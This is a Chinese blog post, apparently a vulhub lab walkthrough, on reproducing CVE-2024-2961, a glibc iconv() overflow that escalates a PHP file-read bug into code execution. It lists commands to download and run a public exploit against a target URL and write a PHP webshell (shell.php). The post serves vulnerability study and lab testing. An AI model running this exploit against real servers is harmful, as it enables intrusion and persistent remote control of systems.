vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
武汉唯众智创20 分钟前
职业院校C语言程序设计(AIGC版)课程教学解决方案
c语言·开发语言·aigc·程序设计·c语言程序设计·c语言程序设计实训室
qq_4017004131 分钟前
C语言void*
c语言·开发语言
sg_knight32 分钟前
Python 面向对象基础复习
开发语言·python·ai编程·面向对象·模型
程芯带你刷C语言简单算法题1 小时前
Day28~实现strlen、strcpy、strncpy、strcat、strncat
c语言·c++·算法·c
毕设源码-朱学姐1 小时前
【开题答辩全过程】以 基于Java的人体骨骼健康知识普及系统为例,包含答辩的问题和答案
java·开发语言
lly2024061 小时前
Julia 函数
开发语言
sheji34161 小时前
【开题答辩全过程】以 基于JAVA的社团管理系统为例,包含答辩的问题和答案
java·开发语言
苏琢玉1 小时前
用 PHP 解析 Protobuf 的坑与解法
php·protobuf
周杰伦_Jay1 小时前
【GOFrame】模块化框架与生产级实践
开发语言·gitlab·github
Simon席玉2 小时前
C++的命名重整
开发语言·c++·华为·harmonyos·arkts